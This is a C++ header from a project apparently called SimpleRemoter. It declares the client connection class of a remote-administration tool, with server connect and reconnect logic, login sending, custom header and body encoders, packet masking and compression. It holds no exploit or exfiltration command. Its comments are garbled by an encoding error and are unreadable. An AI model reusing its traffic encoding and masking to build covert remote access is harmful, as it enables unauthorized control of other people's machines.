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SimpleRemoter/client/IOCPClient.h
2025-10-11 23:29:37 +02:00

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// IOCPClient.h: interface for the IOCPClient class.
//
//////////////////////////////////////////////////////////////////////
#pragma once
#ifdef _WIN32
#include "stdafx.h"
#include <WinSock2.h>
#include <MSTcpIP.h>
#pragma comment(lib,"ws2_32.lib")
#endif
#include "Buffer.h"
#include "zstd/zstd.h"
#include "domain_pool.h"
#include "common/mask.h"
#include "common/header.h"
#define NO_AES
#include "common/encrypt.h"
#include "SafeThread.h"
#include "IOCPBase.h"
#define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*32
enum { S_STOP = 0, S_RUN, S_END };
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
class ProtocolEncoder {
public:
virtual ~ProtocolEncoder(){}
virtual HeaderFlag GetHead() const {
return "Shine";
}
virtual int GetHeadLen() const {
return 13;
}
virtual int GetFlagLen() const {
return 5;
}
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {}
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {}
virtual EncFun GetHeaderEncoder() const { return nullptr; }
};
class HellEncoder : public ProtocolEncoder {
private:
EncFun m_HeaderEnc;
Encoder *m_BodyEnc;
public:
HellEncoder(EncFun head, Encoder *body) {
m_HeaderEnc = head;
m_BodyEnc = body;
}
~HellEncoder() {
SAFE_DELETE(m_BodyEnc);
}
virtual HeaderFlag GetHead() const override {
return ::GetHead(m_HeaderEnc);
}
virtual int GetHeadLen() const override {
return 16;
}
virtual int GetFlagLen() const override {
return 8;
}
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) override {
return m_BodyEnc->Encode(data, len, param);
}
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override {
return m_BodyEnc->Decode(data, len, param);
}
virtual EncFun GetHeaderEncoder() const override {
return m_HeaderEnc;
}
};
class IOCPManager {
public:
virtual ~IOCPManager() {}
virtual BOOL IsAlive() const { return TRUE; }
virtual BOOL IsReady() const { return TRUE; }
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) {
IOCPManager* m_Manager = (IOCPManager*)user;
if (nullptr == m_Manager) {
Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0]));
return FALSE;
}
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD><DCB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, 1<><31><EFBFBD><EFBFBD><E3B9BB>
int i = 0;
for (; i < 1000 && !m_Manager->IsReady(); ++i)
Sleep(1);
if (!m_Manager->IsReady()) {
Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0]));
return FALSE;
}
if (i) {
Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0]));
}
m_Manager->OnReceive(szBuffer, ulLength);
return TRUE;
}
};
typedef BOOL(*TrailCheck)(void);
class IOCPClient : public IOCPBase
{
public:
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0,
const std::string&pubIP="");
virtual ~IOCPClient();
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
LOGIN_INFOR tmp = logInfo;
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
return iRet;
}
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
std::string GetClientIP() const {
return m_sLocPublicIP;
}
std::map<std::string, std::string> GetClientIPHeader() const {
return m_sLocPublicIP.empty() ? std::map<std::string, std::string>{} :
std::map<std::string, std::string>{ {"X-Forwarded-For", m_sLocPublicIP} };
}
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL) {
return OnServerSending(szBuffer, ulOriginalLength, mask);
}
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
m_nHostPort = uPort;
}
BOOL IsRunning() const
{
return m_bIsRunning;
}
void SetExit() {
m_bIsRunning = FALSE;
}
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
VOID RunEventLoop(TrailCheck checker);
VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected == TRUE; }
BOOL Reconnect(void* manager) {
Disconnect();
if (manager) m_Manager = manager;
return ConnectServer(NULL, 0);
}
const State& GetState() const {
return g_bExit;
}
protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags) {
// TCP<43><EFBFBD><E6B1BE><EFBFBD><EFBFBD> recv
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
}
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual VOID Disconnect(); // <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> TCP/UDP
virtual int SendTo(const char* buf, int len, int flags) {
return ::send(m_sClientSocket, buf, len, flags);
}
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask);
protected:
sockaddr_in m_ServerAddr;
SOCKET m_sClientSocket;
BOOL m_bWorkThread;
HANDLE m_hWorkThread;
BOOL m_bIsRunning;
BOOL m_bConnected;
#if USING_CTX
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#endif
const State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
ProtocolEncoder* m_Encoder; // <20><><EFBFBD><EFBFBD>
DomainPool m_Domain;
std::string m_sCurIP;
int m_nHostPort;
bool m_exit_while_disconnect;
PkgMask* m_masker;
BOOL m_EncoderType;
std::string m_sLocPublicIP;
};